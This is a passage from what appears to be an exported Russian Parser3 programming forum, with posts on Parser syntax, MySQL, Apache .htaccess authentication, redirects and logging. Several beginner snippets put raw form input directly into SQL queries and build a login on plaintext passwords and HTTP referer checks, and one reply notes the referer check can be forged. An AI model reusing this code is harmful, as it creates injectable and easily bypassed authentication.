  $letter eq \"з\" || $letter eq \"и\" || $letter eq \"к\" || $letter eq \"л\" || $letter eq \"м\" || $letter eq \"н\" || $letter eq \"о\" ||\
  $letter eq \"п\" || $letter eq \"р\" || $letter eq \"с\" || $letter eq \"т\" || $letter eq \"у\" || $letter eq \"ф\" || $letter eq \"х\" ||\
  $letter eq \"ц\" || $letter eq \"ч\" || $letter eq \"ш\" || $letter eq \"э\" || $letter eq \"ю\" || $letter eq \"я\" || $letter eq \"щ\" ||\
  $letter eq \"й\" || $letter eq \"ё\" || $letter eq \"ы\" || $letter eq \"ъ\" || $letter eq \"ь\"){\
   ^if($letter eq \"а\"){$letnum[1]}\
   ^if($letter eq \"б\"){$letnum[2]}\
   ^if($letter eq \"в\"){$letnum[3]}\
   ^if($letter eq \"г\"){$letnum[4]}\
   ^if($letter eq \"д\"){$letnum[5]}\
   ^if($letter eq \"е\"){$letnum[6]}\
   ^if($letter eq \"ё\"){$letnum[6]}\
   ^if($letter eq \"ж\"){$letnum[7]}\
   ^if($letter eq \"з\"){$letnum[8]}\
   ^if($letter eq \"и\"){$letnum[9]}\
   ^if($letter eq \"й\"){$letnum[9]}\
   ^if($letter eq \"к\"){$letnum[10]}\
   ^if($letter eq \"л\"){$letnum[11]}\
   ^if($letter eq \"м\"){$letnum[12]}\
   ^if($letter eq \"н\"){$letnum[13]}\
   ^if($letter eq \"о\"){$letnum[14]}\
   ^if($letter eq \"п\"){$letnum[15]}\
   ^if($letter eq \"р\"){$letnum[16]}\
   ^if($letter eq \"с\"){$letnum[17]}\
   ^if($letter eq \"т\"){$letnum[18]}\
   ^if($letter eq \"у\"){$letnum[19]}\
   ^if($letter eq \"ф\"){$letnum[20]}\
   ^if($letter eq \"х\"){$letnum[21]}\
   ^if($letter eq \"ц\"){$letnum[22]}\
   ^if($letter eq \"ч\"){$letnum[23]}\
   ^if($letter eq \"ш\"){$letnum[24]}\
   ^if($letter eq \"щ\"){$letnum[24]}\
   ^if($letter eq \"э\"){$letnum[25]}\
   ^if($letter eq \"ю\"){$letnum[26]}\
   ^if($letter eq \"я\"){$letnum[27]}\
   ^if($letter eq \"ь\"){$letnum[27]}\
   ^if($letter eq \"ъ\"){$letnum[27]}\
   ^if($letter eq \"ы\"){$letnum[27]}\
[/code]\
\
Мама ... тут надо хэш\
 $letter[^str.mid(0;1)]\
[code]\
$letnum[\
	$.а[1]\
	$.б[2]\
	$.в[3]\
	$.г[4]\
	$.д[5]\
	...\
]\
...\
   ^connect[$connect_string]{ \
      ^void:sql{insert into product \
         (letternum, letter, item, price, phone, box) \
      values  \
         ('$letnum.[$letter]', '$letter', '$form:item', '$form:price', '$form:phone', '$form:box') \
      }\
      …товар добавлен\
      }\
[/code]\
\
Да и вообще не стоит делать таких гигантских и запутанных методов, - тут немудрено пропустить скобку :)\
\
UltraEdit.com\
\
да и ещё посети egoroff.spb.ru там есть для него кое чего :)"
"13544","[i]parse error, expecting \";\" or \"}\"[/i] - ошибка синтаксиса, в данном случае непарные скобки...\
\
[b]Hint:[/b] на будущее, чтобы не надо было за каждой ошибкой лазить в логи, на время отладки скрипта можно [url=\"http://www.parser.ru/forum/?id=9576\"]включить debug[/url].  "
"13545","ещё появляется возможность восстановления случайно удалённой записи, плюс ко всему, уменьшается фрагментация файла таблицы, что также положительно сказывается на общей производительности.\
\
Если удаление данных жизненно необходимо, скажем по причине дефицита дискового пространства, то можно раз в месяц, ночью, делать [i]DELETE FROM table_name ... WHERE public=0[/i] и потом сразу [i]OPTIMIZE TABLE table_name[/i]. "
"13548","Пробовал отыскать там драйвера для mySQL и не попал :(\
http://www.parser.ru/f/1/download/redhat72/parser3sql_3_0_0005_redhat72_mysql.tar.gz - нет\
http://www.parser.ru/f/1/download/redhat72/parser3sql_3_0_0001_redhat72_mysql.tar.gz - нет...\
\
В общем, гадать можно долго :( Может подсобишь ещё разок?"
"13551","Какое увеличение производительности будет из-за уменьшения фрагментации? Вы реально знаете как СУБД работает с файлами таблиц или одним файлом всей БД? Думаю если и появляется фрагментация при удалении записи, то снижение производительности при этом настолько мизерное, что этим можно пренебречь.\
\
Гораздо существеннее общее количество записей в таблице - запрос для больших таблиц гораздо более накладен, чем для маленьких, особенно если фигово продумана организация индексов. Т.е. здесь картина совершенно обратная, - большое количество записей отрицательно сказывается на производительности. Короче это очень спорный вопрос.\
\
А вопрос вообще был не о том, [b]зачем это нужно[/b], а [b]как это сделать[/b], - на него ответили, и нечего тут флейм разводить сбивая с толку других джентельменов.\
\
Да, - удалять это [b]нормально[/b], а [b]не неправильно[/b]. Всё зависит от конкретной ситуации. Если в таблице хрянятся новости например или сообщения форума, - это нормально, но на кой хрен напри хранить в таблице ссылок на сайты, более не существующие ссылки? Для какого нафиг архива? Её надо либо обновлять если сайт переехал, либо удалять за ненадобностью."
"13553","К сожалению, фрагментация данных в таблицах MySQL при удалении/добавлении записей переменной длины (VARCHAR, BLOB, TEXT) имеет место быть. Снижение производительности зависит от уровня фрагментированности данных, возможно в подавляющем большинстве случаев этим действительно можно пренебречь.\
\
Разумеется, в контексте данного вопроса обсуждение этой проблемы неуместно, и в этом я полностью с Вами согласен. Как и в том, что в удалении ненужных данных из таблицы нет ничего предосудительного, и всегда всё зависит от конкретной ситуации."
"13556","Так что и способы, которыми я реализую ту или иную задачу долеки от идеальных..."
"13557","Вопрос состоит в следующем:\
Нужно сделать страничку для администрирования сайта. Как всё это дело лучше выстроить? У меня сейчас так: есть форма для ввода имени и пароля, при отправке формы самой в себя идёт сверка с бд и если всё сходится, то далее на страничке отображаются нужные формы. А как сделать, чтобы эти формы отправляли данные и страничка снова возвращалась в исходное состояние(т.е. не нужно было снова вводить имя и пароль.\
  Возможно вопрос для Вас покажется детским, но мне очень бы хотелось во всём этом разобраться, а не просто слизать какой-нибудь пример.\
"
"13558","Чтобы вызвать метод мы пишем в html'е : ^metod[].\
А если html формируется из XML, как быть тут?\
Помогите, plz."
"13559","...и даже знаете, что это такое и с чем его едят?! Ну так в чем же проблема?..:)"
"13560","вы хотите запихать Парсер-код в .xml ? У вас это вряд ли получится..:) Вернее - запихать - получиться, но вот с вызовом - вряд ли..."
"13561","исчерпывающий ответ =("
"13562","Что сия ошибка значит?"
"13563","...тело salt должно начинаться со строки $apr1$.\
\
[b]Пример[/b]\
[code]\
^math:crypt[$passwd;^$apr1^$]\
[/code]\
Результатом будет хэшированый пароль.\
\
P.S. Читайте документацию."
"13564","ещё можно передавать идентификатор авторизированного пользователя через поле [i]hidden[/i] при отправке данных формы. Это далеко не \"лучший способ\", но в вашем случае он сработает.\
\
P.S. печенья рулят!  :)"
"13565","Юзер должен вбивать логин и пароль 1 раз, это можно обеспечить с помощью .htaccess Дальше все его продвижение должно происходить по идентификатору (ключу) предположим 64 символа, который падает в куку с периодом жизни к примеру 10 мин. А дальше все просто.\
Юзер заходит и вбивает логин и пароль (один раз).\
Если он сделал это в первый раз, то прописываем для него ключ в таблицу с логином и даем ему печеньку. Он продвигается дальше по страницам, а мы каждый его заход на новую страницу сначала проверяем, а затем обновляем печеньку(чтобы каждый раз у него были его законные 10 минут), если он стормозил больше 10 мин., значит снова пусть вбивает пароль, снова генерим и сохраняем ему ключ, а дальше все repeat.\
Да, и не забываем проверять referer, все кто слева пришли (пошли в п...ню)..."
"13566","Определяю класс, который вставляет <title>:\
\
@title[]\
$sections[^table::load[/sections.cfg]] \
$titl[^sections.select($sections.uri eq $request:uri)]\
\
А Parser мне в ответ:\
contains illegal assignment attempt of table to MAIN method_frame, use constructor\
\
Что не так? Подскажите!"
"13568","Нужен бесплатный, где-нить на 1Мб с миниматьным трафиком, можно без имени, исключительно для себя для теста парсеровских страниц...\
\
Доступ к акаунту может быть организован практически как угодно.\
\
Отзовитесь добрые люди!\
\
... заранее дико благодарен."
"13570","поставьте себе сервер, прикрутите Парсер и тестируйтесь сколько вам угодно! Если вам только для тестирования, то обычно это на локале делается...:)"
"13571","...если конечно это действительно у тебя класс, т.к. тот кусок кода, который ты привел - метод/оператор в чистом виде."
"13573","www.dklab.ru"
"13574","вы не поняли, я имел в виду кусок ответа на запрос, когда включен флаг\
[code]\
$ORIGINS(1)\
[/code]\
\
вы см. http://parser.ru/docs/lang/app6.htm, или игн.?"
"13576","1. POST данные при redirect'ах не передаются.\
    это фича apache.\
2.\
internal redirect: когда вы выдаёте location[/xxx]\
external redirect: когда вы выдаёте location[http://xxx]\
    различия надо знать.\
3. думаю, никакой ошибки нет, просто вы не поняли (1), а по разным файлам делаете разные [где internal/где external] redirect'ы мало понимая их разницу"
"13577","пойти и прочесть\
http://parser.ru/docs/lang/app3.htm про odbc"
"13578","и не заморачиваться. есть ^math:crypt, он вам поможет с созданием .htpasswd [не забудьте положить его вне веб-пространства].\
\
уверяю вас, всем до лампочки, как выглядит это самое окно входа в администрирование сервера."
"13579","вы привели не те строки, где падает.\
падает чуть ниже, где вы пытаетесь печатать этот якобы $title.\
на самом деле вы зачем-то получили из таблицы таблицу, и пытаетесь напечатать её [нельзя], а не её столбец [можно/нужно].\
\
заработает $title.title, только это некрасиво. используйте locate, см. примеры."
"13580","... много времени провожу на работе , есть доступ к инету, но нет доступа для настройки рабочего компа. В свободное время от работы (на рабочем месте) ПАРСЕРЮ, а проверить не на чем ... \
\
Если откроется проект, то и хостинг купится, буду пользоваться, а пока ВОТ ТАКАЯ БЕДА У МЕНЯ ! \
\
"
"13581","...:).....:)\
\
Я имею ввиду - \"парсерите\"? Как вы можете быть уверены, что вы \"парсерите\", если вы не можете проверить?..:)\
\
По делу : есть много всяких бесплатных хостингов, но все они требуют как минимум неделю возни, т.к. Парсер запускается не на всех. То у них корень в небо, то у них группы гонят.\
\
Короче - поищите по нэту - обязательно что-нить найдете. А дальше - дай Бог вам терпения и упрямства - может запустите. Меня на это не хватило, пришлось переходить на платный.\
\
Спасибо Givi - предоставил мне место под сайт..:)"
"13582","человек что-то там программирует.. и не знает, не видит -- что!"
"13583","также. вызывай свой method, а в нём делай преобразования XML/XSL."
"13584","В моём случае необходимо сделать всё как можно проще. Реально пользователей имеющих доступ к администрированию можно будет пересчитать на пальцах одной руки.\
Я ещё только начинаю учиться программированию и сделать всё так запросто, как Вы описали мне пока не под силу. На данный момент я просто хочу сделать так, чтобы имя пользователя и пароль хранились в БД. Кое-каких результатов я добился, всё работает, но пока ещё очень не безопасно..."
"13585","Хочется побольше узнать про .htpasswd и работу с ним."
"13587","Документация к Parser + http://httpd.apache.org/docs/howto/auth.html\
\
У меня после прочтения получилось следующее: http://parser.ru/forum/?id=12471"
"13588","Как с помощью хэша найти строку в таблице и сделать её текущей. Варианты с locate не предлагать."
"13589","Блин, никто собственно не помог, только подколоть все горазды...\
\
все сразу кучу вопросов задают, а помочь и некому...\
\
З.Ы. где бы мне такого Givi найти..."
"13591","первый день пробую Парсер, хотел бы узнать, как считать из текстового файла в переменную, чтобы потом вызвать ее и получить вставленный кусок текста."
"13592","в обоих случаях клиенту передаётся только его идентификатор (key), вся конфиденциальная информация остаётся на сервере."
"13593","тут уже публиковался ряд ссылок на документы по-русски, воспользуйтесь поиском по форуму."
"13595","зачем?"
"13596","поищите такой текст по документации или форуму.\
только вы, очевидно, не прочли ни единого примера: поскольку такой стиль скриптования в parser [b]не родной[/b]."
"13597","Надо :)\
\
Вообщем я так и думал :) Надо строку из одной таблицы (исходной) копировать в другую. Вот код где это делается с locate:\
[code]\
# Топологическая сортировка таблицы\
# методу передается исходная таблица - table, имя ключевого столбца - key\
# и имя столбца с ключами предшествующих элементов - prev\
@sort_table[table;key;prev][table_columns;insert_current_row]\
# таблица названий столбцов\
$table_columns[^table.columns[]]\
# названия столбцов результирующей таблицы\
$result[^table::create{^table_columns.menu{$table_columns.column}[	]}]\
# код вставки текущей строки\
$insert_current_row{\
	^result.join[$table][$.limit(1) $.offset[cur]]\
}\
# добавление первого элемента\
# т.е. у которого prev = 0\
^table.locate[$prev;0]\
$insert_current_row\
$prev_key($table.$key)\
\
^while($prev_key && ^table.locate[$prev;$prev_key]){\
	$insert_current_row\
	$prev_key($table.$key)\
}\
[/code]"
"13598","в вашем конкретном случае он ничем не хуже, даже лучше, ибо сработает даже с выключенными cookies."
"13599","Если к примеру на странице проверяется http_referer и в зависимости от него срабатывает $response:location на какую-либо другую страницу. Страница открывается, но в строке адреса по-прежнему адрес страницы с которой производился редирект. Так и должно быть? У меня в связи с этим возникли некоторые проблемы."
"13602","по причине неумения читать по-английски, и крайнего нежелания написать поисковый запрос любимой поисковой системе?\
\
окружающим: никогда так не делайте."
"13603","<form method=\"POST\" action=\"/admin/\">\
<input name=\"user\"> - пользователь<br>\
<input name=\"pass\"> - пароль<br><br>\
<input type=\"submit\" value=\"Войти\" name=\"posted\">\
</form>\
^if(def $form:user && $form:pass){\
^connect[$connect_string]{\
$user[^table::sql{select \
       username, password\
   from \
      users  \
   where \
      username=\"$form:user\"\
   }]\
}   \
^if($form:user eq $user.username && $form:pass eq $user.password){\
$response:location[/admin/welcome/]\
А на /admin/welcome/ стоит проверка http_referer, и всё вроде бы нормально...\
Как Вам этот вариант?"
"13604","Есть таблица $feature_set[field    name\
field_name      description]\
Где перечислены поля таблицы\
Есть таблица , где в виде полей указаны все feature_set, принимая значение 1 или 0\
Нужно:\
вывести для данной строки второй таблицы все значения description, если значение - не 0\
^feature_set.menu{^if(${table2.$feature_set.field}==1){$feature_set.description}\
Не получается :(\
Перепробовал кучу вариантов написания - не получается. Ашипки..\
Как?"
"13605","Я обязательно так сделаю! Но мне ещё предстоит до этого дойти.\
Окружающим: если хотите всё сразу, а не постепенно то конечно..."
"13606","используй \
$response:refresh[ \
   $.value[0] \
   $.url[/] \
] \
"
"13607","скажите мне адрес, я подделаю referrer и пройду.\
\
моё мнение: стандартное решение должно приходить в голову в первую очередь, поскольку куда лучше использовать чужие человеко-года на поиск+исправление дырок в безопасности, чем тратить свои.\
\
а пытаться делать что-то своё можно только когда стандартное чем-то основательно не устраивает."
"13608","есть нормальный механизм external redirect, при котором ничего никогда не мигает, и дурацкие надписи не выводятся."
"13609","...\
[code]\
^feature_set.menu{\
        ^if($table2.[$feature_set.field]==1){\
                $feature_set.description\
        }\
}\
[/code]\
должно работать...:)"
"13610","либо достаточно простой механизм стандартной авторизации о котором вам говорит PAF, либо собственный супернавороченый механизм сессий, который для начала ещё предстоит сделать. При этом нет никакой гарантии что последний вариант будет достаточно безопасен.\
\
Выбирая первый вариант, вам нужно ознакомиться с [url=\"http://www.firststeps.ru/html/tutor/r.php?18\"]механизмом стандартной авторизации[/url] и использовать класс который вам [url=\"http://www.parser.ru/forum/?id=13587\"]любезно предоставили[/url]. В противном случае можно посмотреть [url=\"http://www.parser.ru/forum/?id=4153\"]вот эту ветку[/url] форума.\
\
А все эти проверки реферера и хитрые редиректы, это несерьезно..."
"13611","Парсер значения 1/0 считает как истина/ложь [boolean], то можно проще [да и понятнее]:\
\
[code]\
^feature_set.menu{\
        ^if($table2.[$feature_set.field]){\
                $feature_set.description\
        }\
}\
[/code]"
"13612","скажем, свет клином на cookies не сошёлся, псевдослучайное число можно засунуть и в адресную строку:\
[code]\
/secured/234234jh234jh23g4hgsdf/folder1/\
[/code]"
"13613","[i]Юзер должен вбивать логин и пароль 1 раз, это можно обеспечить с помощью .htaccess[/i]\
\
другими словами, если я правильно понял, происходит \"стандартная авторизация\".\
\
[i]если он стормозил больше 10 мин., значит снова пусть вбивает пароль...[/i]\
а как мне сделать ему log-off, чтобы он отвалился и выпрыгнуло окошко авторизации?\
\
Заранее извиняюсь, если это банальный RTFM, просто то что мне удалось найти в этой FM выглядело так: [i]How do I log out? -> ...you can't. Sorry.[/i]"
"13614","Спасибо. Работает. \
"
"13615","есть разные трюки, которые иногда кое-где работают.\
общего решения нет.\
\
MSIE славится своим умением неуёмно кэшировать пароль: даже если пытаться ему выдавать ошибки авторизации, это его не смущает ;)"
"13616","Благодарствую."
"13620","http://www.e-notes.ru/notes/htaccess.html\
\
Если всего несколько пользователей просто создай их всех вручную, как там описано.\
И не думай больше об этом."
"13622","Всем здасте!\
Я вот немного не пониаю, как с помощью класса image создать и вывести в определнном месте страницы некую картинку.\
Создать ее получается, вывести с помощью response:body - тоже.\
А вот вставить ее в код HTML не получается.\
Внимание вопрос!\
Как вывести готовый объект класса image в коде HTML?"
"13623","Хм.. Столкнулся неожиданно со следующей проблемой.\
В БД (mysql) имеется поле типа text.\
Каким образом при извлечении сохранить форматирование текста?\
Переводы строк, отступы и проч.\
По идее если извлекаем string - получаем строку, естественно переноса строки быть не может, таже беда и с table...\
\
И вдогонку, возможно ли хранение html-кода в поле text? Что-то вразумительного ответа в доках не нашёл...\
\
Спасибо."
"13624","Про замену переводов строк http://www.parser.ru/forum/?id=11309 ..."
"13625","Ввести-то её в поле и хранить не проблема, проблемы потом при извлечении/редактировании поля.\
В лучшем случае если хранить текст с подмешанными тэгами при извлечении всё это покажется как простой текст, и не интерпритируется как код..."
"13627","\
Хочется обновлять сайт по человечески, а до контент-менеджера я, к сожалению еще не дорос. Вопрос в следующем:\
\
Что лучше использовать для сохранения (и обновления) информации:\
А) Сохранять текстовые блоки (приблизительно от 100 до 600 знаков) и ссылки на картинки в tab-defined файлах\
 Б) Или  лучше для этих целей использовать MySQL. (или что-то в файлах, что-то в базе данных?)\
\
1)В каком случае будет меньше трафика и нагрузки на сервер? \
2)Не будут ли проблем при многочисленном открывании-закрывании файла, содержащего, например текст и структуру главной страницы (когда много человек грузят index.html).  \
3)С точки зрения безопасности целостности данных (сайт будет работать под Апачами), какой подход предпочтительней?\
\
Буду благодарен любым советам, только к оракулам не отсылайте :-)\
"
"13628","Нет ли какого-нибудь способа использовать АртЛебедевский Типограф прям из формы, обрабатываемой парсером на моей странице?\
Например(мечта): я редактирую текст в форме а после нажатия \"Сабмита\" текст перед записью в файл/БД  \"отТипограливался\"?\
И вообще не планируется ли такого праздника?\
"
"13630","Начинающий освоение всего вместе сталкивается с тем, что XML, XSLT, DOM, XPath и т.д. слишком сильно завязанно друг на друга, что совсем не способствует благополучному и ясному освоению всего этого. Было бы не плохо, если бы в документации на эту тему появилось нечто большее, чем ссылки на спецификации. Так же, несколько примеров на использование всего этого вместе было бы очень приятно увидеть. Был бы благодарен, если бы кто-нибудь выслал мне какие-нибудь примеры на эту тему."
"13631","Кому удобнее SQL использует его, кому нет пользует обычные текстовые файлы.\
1)Трафик зависит от контента, а нагрузка на сервер от количества обработки этого самого контента. Если вы к примеру собираетесь каждый раз пересчитывать таблицу в 10000 записей, то действительно нагрузка будет ощутима, если же просто выдавать текст, то нет.\
2) нет\
3) под Apache работать будет"
"13632","Да и вообще большую часть, того что там есть можно самому написать."
"13635","Что это за чудо, не подскажите?"
"13637","<form method=\"POST\" action=\"/admin/\">\
<input name=\"user\"> - пользователь<br>\
<input name=\"pass\"> - пароль<br><br>\
<input type=\"submit\" value=\"Войти\" name=\"posted\">\
</form>\
^if(def $form:user && $form:pass){\
^connect[$connect_string]{\
$user[^table::sql{select \
       username, password\
   from \
      users  \
   where \
      username=\"$form:user\"\
   }]\
}   \
^if($form:user eq $user.username && $form:pass eq $user.password){\
$response:location[/admin/welcome/]\
}{в доступе отказано, попробуйте снова...}\
}{введите имя пользователя и пароль.}"
"13638","что вам не понятно из документации?\
"
"13639","ключивой момент: картинка должна попасть на диск, и потом надо написать соответствующий случаю <img src=\"куда вы её записали\">"
"13640","а ^cache поможет с понижением нагрузки."
"13641","Писать надо так:\
[code]^if(def $form:user && def $form:pass){[/code]\
\
а еще учше так\
[code]^if((def $form:user) && (def $form:pass)){[/code] ... чтобы не путаться ...\
"
"13642","при желании, можно найти массу литературы под данному вопросу.\
\
я уже как-то бросал клич кидать в форум ссылки на найденные хорошие тексты. \
1.\
поищите, на него были отклики.\
2.\
поищите в других местах, что найдёте, если не будет лень, кидайте сюда.\
\
общая идея: не надо думать, что для вас всё найдут и разжуют. одному понятна одна книжка, другому другая.\
\
пример: лично я предпочитаю чтению различных толкований первоисточника, чтение самого первоисточника=оригинальных спецификаций — конечно, муторно и трудновоспринимаемо, однако так я себя чувствую спокойно: никто по дороге ничего не упростил/упустил."
"13643","Благодарю, господа!\
Taint/untaint всё решил."
"13644","У меня сначала так и было:^if(def $form:user && def $form:pass)\
А потом кто-то, не помню кто, сказал что надо так:\
^if(def $form:user && $form:pass)\
или так:\
^if((def $form:user) && (def $form:pass)).\
Я выбрал первый вариант."
"13647","^if($form:pass){} это преобразование значения, пришедшего через форму к числу и проверка на неравенство результата нулю. Причем НЕ safe преобразование."
"13648","...и предётся проделать не мало работы, пока это случится =|"
"13649","Да пребудет с тобой Кавычкер от Дмитрия Смирнова (aka Spectator)!\
Посмотри здесь - http://spectator.ru/\
\
Мало того, что программка удобная, так еще и внутрь заглянуть можно (прости меня, Спектатор :), если расширения .HTA не испугаешся (это фактически чистый HTML и JavaScript).\
Ну, а там один шаг до того, чтобы переписать это дело под Parser.\
\
Я так и сделал, могу отдать функцию всем на растерзание, но нахожусь в сомнении - не будет ли это нарушением авторских прав (проще - воровством)? \
Хотя, с другой стороны, на regexp у Смирнова патента явно нет :)\
\
#Что скажете на эту тему, парсерописцы и парсерописатели?\
\
#И, в связи со всем этим, еще раз вопрошаю почтеннейшую публику: нет ли у кого русского текста GNU GPL?\
В Инете искал (может быть, плохо), но не нашел...\
"
"13650","#Вводная:\
Пытаюсь использовать Parser в качестве интерпретатора скриптов на локале (Винды, Денвер). \
Да не просто, а через ..., то есть я хотел сказать, через UltraEdit и его возможность запускать транслятор для любого текста и ловить вывод stdout и stderr в специальное окно.\
Хочется, знаете ли, получить GUIёвую оболочку для парсеротворчества.\
\
Parser (3.0007 под Win) запускается cтрого по Писанию (оно же Руководство):\
Z:\\home\\cgi-glob\\parser\\parser3.exe  -f Z:\\home\\cgi-glob\\parser\\auto.p Z:\\home\\mecto.ru\\index.html\
\
#Беда:\
Если рабочей директорией установить каталог с главным конфигурационным файлом auto.p (т.е. Z:\\home\\cgi-glob\\parser\\), то не находятся библиотеки классов в корневом auto.p сайта: not found along MAIN:CLASS_PATH.\
Можно понять. $CLASS_PATH установлен относительный: $MAIN:CLASS_PATH[/../classes]. А в Писании сказано: \"При этом корнем веб-пространства считается текущий каталог\". То есть и поиск библиотек идет от текущего каталога.\
\
Но! Изменения в CLASS_PATH (например, указание абсолютного пути к классам), либо непосредственное указание в USE пути к классам, либо установка рабочей директорией корневого каталога сайта приводят к другой ошибке: exception in request exception handler: Exception 0xE06D7363 at 0x77E6D756.\
\
#Запрос:\
Если кто-нибудь что-нибудь понял здесь, помажите!\
Если нет - хоть пожалейте :)\
\
#2PAF: В разделе \"Использование Parser в качестве интерпретатора скриптов\" стОит, IMHO, упомянуть о наличии ключа -f у parser.exe.\
"
"13651","Есть локальная машина (ХР), на ней апач. Вопрос, как сделать вход по паролю на отдельную страницу?\
В моём httpd.conf есть следующие строчки:\
AccessFileName .htaccess\
<Files .htaccess>\
Order allow,deny\
Deny from all\
</Files>\
В папке, к которой необходимо организовать авторизацию есть файлы:\
.htaccess, в нём следующие строчки:\
AuthType Basic\
AuthName \".htaccess Example\"\
AuthUserFile C:/server/Apache/htdocs/test/.htpasswd\
require valid-user\
И файл .htpasswd, в нём есть строчка с именем пользователя и паролем.\
Но при попытке открыть страничку она (страничка) просто открывается и всё, и никакой авторизации. Может я чего-то неправильно сделал? "
"13652","по-умолчанию работает директива\
[code]\
allow from all\
[/code]\
\
которую вы не отменили, как следствие, можно всем, включая не вводящих пароль.\
\
надо добавить:\
[code]\
deny from all\
satisfy any\
[/code]\
\
по [b]всем[/b] вопросам настройки любой программы надо обращаться [i]в первую очередь[/i] к её документации. документацию к apache никто не прячет."
"13653","кусочек кода, чтобы последующие поколения грабленаступателей могли воспользоваться вашим опытом."
"13654","Допустим ^somefile.save[text;/somedir/somefile.txt],\
а если папка /somedir/ не существует? Метод создаст её?"
"13656","DOCUMENT ROOT считается текущий каталог.\
\
диагноз:\
[code]\
cd \\path\\to\\webspace\
..\\cgi\\parser3 news\\index.html\
[/code]\
\
при этом \
1. дополнительных ключей задавать не нужно, parser и сам найдёт auto.p рядом с собой.\
\
2. с путями к файлам относительно DOCUMENT_ROOT теперь будет порядок.\
\
[на досуге посмотрю, что там за беда с exception]"
"13657","1. почитать словарь?\
2. почитать документацию по apache?\
3. бездумно скопировать пару строк, получить очередную мелкую проблему, и написать следующее письмо?"
"13661","Я вовсе не предлагал вставить в документацию по парсеру перевод спецификаций. Но написать несколько абзацев, что бы читающему стало понятно, зачем и как можно использовать эти технологии, тем самым, заинтересовать его и побудить к прочтению документаций, в которых уже хоть что-то будет понятно, ИМХО, стоило бы. \
Кроме того, на мой взгляд, спецификации тем и сложны для понимания, в отличии от книг, что большинство книг начинаются с некого введения, в котором приведено хоть пару примеров, дающих понять, что к чему."
"13663","Вот такое сообщение пишется в log каждый раз при любой ошибке :(\
Кто-нибудь подскажет, что я настроил неправильно? у меня cgi-script под apache на Windows XP."
"13664","апач (mod_mime?) не может определить media type фаила, которому Parser назначен как обработчик...\
\
есть ли у вас в .htaccess такие строчки:\
[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
[/code]\
если не совсем такие, чем они у вас отличаются?\
"
"13665","Я больше люблю результат, а не процесс.\
\
А вот сидеть долгими бессонными ночами и придумывать и писать то, что до меня уже сделали другие, мне не нравится. \
Любители ставить везде свой гордый копирайт меня не поймут, но:\
\
Не мог бы кто-нибудь выложить ПОЛНЫЙ код РАБОТАЮЩЕГО несложного форума(например, как на этом сайте)? Чтобы можно было копи/пэйст себе, и чтобы тут же работало? \
\
Очень не хочется изобретать велосипед, когда многие уже в космос летают космические корабли.\
\
Ведь прогресс основан как раз не на придумывании всего сначала, а улучшении того, что давно создали твои предшественники. Или я не прав?\
\
(с) - Все права принадлежат мне. Копирование строго запрещено и преследуется по закону."
"13666","Так парсер пишет, когда я командую ^rndpath.save[text;/admin/lastpath.p],\
Где\
$rndpath[^math:random(10000000)]\
Почему так происходит?"
"13667","Строчки есть, один-в-один.\
Прошу прощения, проблема не в этом даже, я ошибся. Когда нет ошибок на странице - все работает и выполняется, проблем не возникает. А вот если в скрипте сделать ошибку, то в error.log ничего не записывается. Конфиг виртуального хоста apache:\
\
<VirtualHost 127.0.0.2>\
	ServerName local.mysite.ru\
	ServerAdmin admin@mysite.ru\
	DocumentRoot \"c:/vhosts/mysite.ru/htdocs\"\
	<Directory \"c:/vhosts/mysite.ru/htdocs\">\
		Options Includes FollowSymLinks MultiViews\
		AllowOverride All\
		Order allow,deny\
		Allow from all\
	</Directory>\
	ErrorLog \"c:/vhosts/mysite.ru/logs/error.log\"\
	CustomLog \"c:/vhosts/mysite.ru/logs/custom.log\" common\
</VirtualHost>\
\
А те предупреждения писались ранее - я просто на дату не посмотрел."
"13669","Все, я понял где ошибся. Прошу прощения за беспокойство."
"13671","http://parser.ru/docs/lang/stringsave.htm\
\
покажи, где ты тут нашел параметр text?"
"13672","Это была строка, поэтому либо .save[append;filename]либо .save[filename].\
Вопрос: если append, то строка в конец попадает, так?"
"13673","через три заглядывания туда уже будешь знать этот раздел, и не будешь ошибаться. дока на русском, прозрачная до безобразия. если лень искать по разделам - есть поиск (как онлайн так и средствами винды в chm-ке). с помощью того-же поиска по слову \"save\" ты последнюю свою проблему решил-бы за 5 минут максимум.\
\
если ошибка, то первое куда надо лезть - в доку, чтобы убедиться, что написал все правильно. \
\
почитай свои вопросы тут: ответы на все их есть в Fucking Manual-e.\
\
не знаю как другие, а я буду твои вопросы игнорировать. шоб не нервничать."
"13674","...расслабься...:)\
\
Человек старается, его хвалить надо.\
\
Рим тоже не сразу строился, да и ты в Doom не сразу играл..:)\
\
2yes : доку действительно читать полезно - поверь..:)"
"13675","...поделиться решением проблемы - другим, столкнувшимся с ней будет легче.\
\
PAF уже пальцы отбил, напоминая об этом - не будьте эгоистами; и не думайте, что ваше решение никому не интересно - еще как интересно, а главное - полезно."
"13676","WinXP\
Пуск - Настройка - Панель управления - Администрирование - Источники\
данных (ОДБЦ).\
В списке уже есть база данных MS Access.\
\
А что здесь-то писать? :\
odbc://DSN=dsn;UID=user;PWD=password\
Где взять dsn, uid и pwd?"
"13677","Не, не. роблема была в том, что использовался скрипт не в локальной директории cgi-bin, а в глобальной, в apache/cgi-bin. Соответственно, лог велся там. Так что все исключительно по моей невнимательности."
"13678","в субботу вечером начали отмечать воскресенье, как следствие в воскресенье с утра голова работала слабо, вот и ляпнул не разобравшись... Хотя, надо отдать мне должное, я сомневался до последнего момента, о чём свидетельствуют такие мои слова как \"прелиминарно\", \"вызывает сомнение\", \"попробуйте\" и наконец финальное \"тут нужно мнение специалиста\" ;) Вобщем, некрасиво получилось, я сделал для себя всякие там выводы...  :)\
"
"13679","мне всегда было это делать лень, поскольку есть более очевидный подход: создать новый datasource, указав ему файл, тогда имя dsn вы зададите сами, его же и передадите parser'у.\
\
пользователь и пароль в этом случае можно не задавать."
"13680","каждый себе сам выбирает необходимые для работы технологии."
"13681","parser пытается вести свой лог, это иногда удобно, но не всегда правильно.\
\
достоинство: не надо пинать [i]иногда[/i] инертных админов, чтобы дали доступ к журналу ошибок веб-сервера.\
\
недостаток: надо не позволять этому файлу безконтрольно расти.\
\
алгоритм сейчас: попытаться создать рядом с собой parser3.log, если не получается, писать в stderr=>журнал ошибок веб-сервера.\
\
диагноз: если кому-то не нужен parser3.log и он хочет видеть ошибки parser в журнале ошибок веб-сервера, просто запретите запись cgi-процессу в cgi-bin. \
\
[а если используется не только parser, и/или запретить запись в cgi-bin нежелательно, можно создать там файл parser3.log и запретить запись в него]"
"13682","К сожалению кавычкер Смирнова не всё обрабатывает корректно. Типограф в этом смысле лучше."
